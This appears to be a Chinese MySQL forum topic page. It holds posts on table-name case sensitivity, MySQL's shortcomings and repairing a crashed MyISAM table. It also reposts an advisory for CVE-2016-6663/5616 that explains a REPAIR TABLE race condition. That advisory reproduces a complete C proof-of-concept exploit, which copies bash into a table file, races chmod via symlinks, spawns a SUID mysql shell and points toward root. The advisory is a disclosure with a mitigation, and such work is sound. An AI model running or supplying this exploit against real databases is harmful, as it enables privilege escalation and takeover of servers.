MYSQL大小写敏感介绍

chris 发表了文章 0 个评论 1248 次浏览 2017-05-08 22:55 来自相关话题

简介 在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。   在大 ...查看全部


简介


在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。
 
在大多数Unix中数据库名和表名对大小写敏感,而在Windows中对大小写不敏感。一个显著的例外情况是Mac OS X,它基于Unix但使用默认文件系统类型(HFS+),对大小写不敏感。然而,Mac OS X也支持UFS卷,该卷对大小写敏感,就像Unix一样。
 
变量lower_case_file_system说明是否数据目录所在的文件系统对文件名的大小写敏感。ON说明对文件名的大小写不敏感,OFF表示敏感。
 
例如在Linux下查看:
mysql> show variables like 'lower%';
+------------------------+-------+
| Variable_name | Value |
+------------------------+-------+
| lower_case_file_system | OFF |
| lower_case_table_names | 0 |
+------------------------+-------+
2 rows in set (0.00 sec)
说明Linux系统对大小写敏感,MySQL也默认设置为对大小写敏感, 而Windows则相反。
 


大小写区分规则


Linux下
  • 数据库名与表名是严格区分大小写的;
  • 表的别名是严格区分大小写的;
  • 列名与列的别名在所有的情况下均是忽略大小写的;
  • 变量名也是严格区分大小写的;
 windows下
  • 都不区分大小写
 Mac OS下(非UFS卷):
  • 都不区分大小写
 

参数说明

unix下lower_case_table_names默认值为 0 ;  Windows下默认值是 1 ;Mac OS X下默认值是 2 .
args.png

由大小写敏感转换为不敏感方法

如果原来所建立库及表都是对大小写敏感的,想要转换为对大小写不敏感,主要需要进行如下3步:[list=1]
  • 将数据库数据通过mysqldump导出。
  • 在my.cnf中更改lower_case_tables_name = 1,并重启mysql数据库。
  • 将导出的数据导入mysql数据库。

  •  


    注意事项


    为了避免大小写引发的问题,一种推荐的命名规则是:在定义数据库、表、列的时候全部采用小写字母加下划线的方式,不使用任何大写字母
     
    在任何系统中可以使用lower_case_tables_name=1。使用该选项的不利之处是当使用SHOW TABLES或SHOW DATABASES时,看不出名字原来是用大写还是小写。
     
    请注意在Unix中如果以前lower_case_tables_name = 0将lower_case_tables_name设置为1之前,重启mysqld之前,必须先将旧的数据库名和表名转换为小写。

    MYSQL不同库质检查询

    空心菜 回复了问题 2 人关注 1 个回复 1542 次浏览 2017-03-20 11:49 来自相关话题

    关于haproxy、mycat、mysql的问题

    空心菜 回复了问题 2 人关注 1 个回复 2728 次浏览 2017-03-13 15:16 来自相关话题

    编译cmake MySQL 5.6.10报错

    Nock 回复了问题 2 人关注 1 个回复 4706 次浏览 2017-03-10 16:03 来自相关话题

    MYSQL的八大缺陷

    小白菜 发表了文章 0 个评论 1705 次浏览 2016-12-29 11:39 来自相关话题

    MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。   虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更 ...查看全部
    MYSQL.png

    MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
     
    虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
     
    以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
     


    1、无法避免的bugs


    任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

    到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
     


    2、关系表的不灵活性


    关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

    假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

    MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
     


    3、存储引擎混乱


    总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

    当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
     


    4、JOIN联合查询


    曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

    sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

    这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

    现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
     


    5、分支的混乱


    毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

    如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
     


    6、开发MySQL的动机


    虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

    我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
     


    7、原生JSON支持的缺乏


    通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

    现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
     


    8、封闭源和专有模块的兴起


    虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

    要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

    MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。

    Mysql同步错误Last_SQL_Errno: 1054

    Geek小A 回复了问题 2 人关注 1 个回复 4059 次浏览 2016-12-27 23:28 来自相关话题

    MySQL:reading initial communication packet

    Nock 回复了问题 2 人关注 1 个回复 1795 次浏览 2016-12-24 20:56 来自相关话题

    Mysql导入中文乱码问题

    空心菜 回复了问题 1 人关注 1 个回复 2189 次浏览 2016-12-19 19:29 来自相关话题

    MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞

    Geek小A 发表了文章 0 个评论 1643 次浏览 2016-11-03 13:53 来自相关话题

    漏洞发现人:Dawid Golunski 漏洞级别:严重 CVE编号 :CVE-2016-6663 / CVE-2016-5616   漏洞影响: ...查看全部
    mysql.png

    漏洞发现人:Dawid Golunski
    漏洞级别:严重
    CVE编号 :CVE-2016-6663 / CVE-2016-5616
     
    漏洞影响
    Version.png

     
    漏洞描述 :
    Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
     
    漏洞细节:
    基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
    attacker@debian:~$ mkdir /tmp/disktable
    attacker@debian:~$ chmod 777 /tmp/disktable/
    attacker@debian:~$ ls -ld /tmp/disktable/
    drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
    可以通过data directory参数指定存储目录为/tmp/disktable/
     
    mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    执行完成后,查看下目录权限,变为mysql
    attacker@debian:~$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
    低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
    mysql> REPAIR TABLE `poctab1`;
    +----------------+--------+----------+----------+
    | Table | Op | Msg_type | Msg_text |
    +----------------+--------+----------+----------+
    | testdb.poctab1 | repair | status | OK |
    +----------------+--------+----------+----------+
    通过查看系统调用,可以看到
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
    [pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
    [pid 1463] lseek(65, 0, SEEK_CUR) = 0
    [pid 1463] lseek(65, 0, SEEK_END) = 0
    [pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
    [pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
    [pid 1463] lseek(65, 0, SEEK_END) = 0
    [pid 1463] lseek(64, 0, SEEK_END) = 1024
    [pid 1463] close(65) = 0
    [pid 1463] close(66) = 0
    [pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
    [pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
    [pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    [pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
    [pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
    [pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
    第一个系统调用是
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

    [pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    系统调用之间,产生了条件竞争漏洞。

    如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

    攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

    可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
    新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
    attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
    attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
    drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
    通过data directory参数指定存储目录为/tmp/disktable/
    mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    Query OK, 0 rows affected (0.00 sec)
    再次查看/tmp/disktable/权限
    attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
    -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
    我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

    漏洞验证:
    bugqa1.png

    bugqa2.png

     
    POC
    ------------------[ mysql-privesc-race.c ]--------------------
    /*
    MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
    mysql-privesc-race.c (ver. 1.0)
    CVE-2016-6663 / OCVE-2016-5616
    Discovered/Coded by:
    Dawid Golunski
    dawid[at]legalhackers.com
    @dawid_golunski
    http://legalhackers.com
    Compile:
    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    Note:
    * On RedHat-based systems you might need to change /tmp to another public directory
    * For testing purposes only. Do no harm.
    Full advisory URL:
    http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
    */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define EXP_PATH "/tmp/mysql_privesc_exploit"
    #define EXP_DIRN "mysql_privesc_exploit"
    #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
    #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
    #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
    #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
    MYSQL *conn; // DB handles
    MYSQL_RES *res;
    MYSQL_ROW row;
    unsigned long cnt;
    void intro() {
    printf(
    "\033[94m\n"
    "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
    "mysql-privesc-race.c (ver. 1.0)\n\n"
    "CVE-2016-6663 / OCVE-2016-5616\n\n"
    "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
    "\033[0m\n\n");
    }
    void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
    }
    void mysql_cmd(char *sql_cmd, int silent) {

    if (!silent) {
    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
    fprintf(stderr, "%s\n", mysql_error(conn));
    exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);
    }
    int main(int argc,char **argv)
    {
    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user = argv[1];
    char *password = argv[2];
    char *db_host = argv[3];
    char *database = argv[4];
    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);
    // Get the params
    if (argc!=5) {
    usage(argv[0]);
    exit(1);
    }
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");
    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
    fprintf(stderr, "%s\n", mysql_error(conn));
    exit(1);
    }
    // Prepare tmp dir
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );
    // Prepare exploit tables :)
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);
    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
    printf("failed to inotify_init\n");
    return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
    printf("\n[+] Entering the race loop... Hang in there...\n");
    while ( is_shell_suid != 1 ) {
    cnt++;
    if ( (cnt % 100) == 0 ) {
    printf("->");
    //fflush(stdout);
    }
    /* Create empty file , remove if already exists */
    unlink(MYSQL_TEMP_FILE);
    unlink(MYSQL_TAB_FILE);
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
    /* random num if needed */
    srand ( time(NULL) );
    randomnum = ( rand() % MAX_DELAY );
    // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
    pid = fork();
    if (pid < 0) {
    fprintf(stderr, "Fork failed :(\n");
    }
    /* Child process - executes REPAIR TABLE SQL statement */
    if (pid == 0) {
    usleep(500);
    unlink(MYSQL_TEMP_FILE);
    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
    // child stops here
    exit(0);
    }
    /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
    if (pid > 0 ) {
    io_notified = 0;
    while (1) {
    int processed = 0;
    ret = read(fd, buf, sizeof(buf));
    if (ret < 0) {
    break;
    }
    while (processed < ret) {
    event = (struct inotify_event *)(buf + processed);
    if (event->mask & IN_CLOSE) {
    if (!strcmp(event->name, "exploit_table.TMD")) {
    //usleep(randomnum);
    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file
    unlink(MYSQL_TAB_FILE);
    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
    close(myd_handle);
    chmod(MYSQL_TAB_FILE, 04777);
    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
    unlink(MYSQL_TEMP_FILE);
    symlink(SUID_SHELL, MYSQL_TEMP_FILE);
    io_notified=1;
    }
    }
    processed += sizeof(struct inotify_event);
    }
    if (io_notified) {
    break;
    }
    }
    waitpid(pid, &status, 0);
    }
    // Check if SUID bit was set at the end of this attempt
    if ( lstat(SUID_SHELL, &st) == 0 ) {
    if (st.st_mode & S_ISUID) {
    is_shell_suid = 1;
    }
    }
    }
    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);
    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;
    }
    视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
     
    临时解决办法:
    在my.cnf中添加
    symbolic-links = 0

     


    参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
    原文链接:http://bobao.360.cn/learning/detail/3152.html 


    记一次mysql故障: is marked as crashed and should be repaired

    Not see︶ 发表了文章 1 个评论 1403 次浏览 2016-09-24 21:03 来自相关话题

    机器断电导致mysql不正常停服, 日志报错: 160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and shoul ...查看全部
    机器断电导致mysql不正常停服, 日志报错:
    160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:24:17 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:24:57 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:24:58 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:09 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:23 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:24 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:29 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:40 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    160924 20:25:42 [ERROR] /usr/libexec/mysqld: Table './Zblog/zbp_post' is marked as crashed and should be repaired
    这段错误提示  ./Zblog/zbp_post 有问题

    于是进行修复

    找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:
    [root@VM_132_47_centos ~]# myisamchk -c -r /var/lib/mysql/Zblog/zbp_post.MYI
    - recovering (with sort) MyISAM-table '/var/lib/mysql/Zblog/zbp_post.MYI'
    Data records: 77
    - Fixing index 1
    - Fixing index 2
    更多话题 >>

    热门话题

    更多用户 >>

    热门用户

    空心菜

    148 个问题, 106 次赞同

    peanut

    6 个问题, 3 次赞同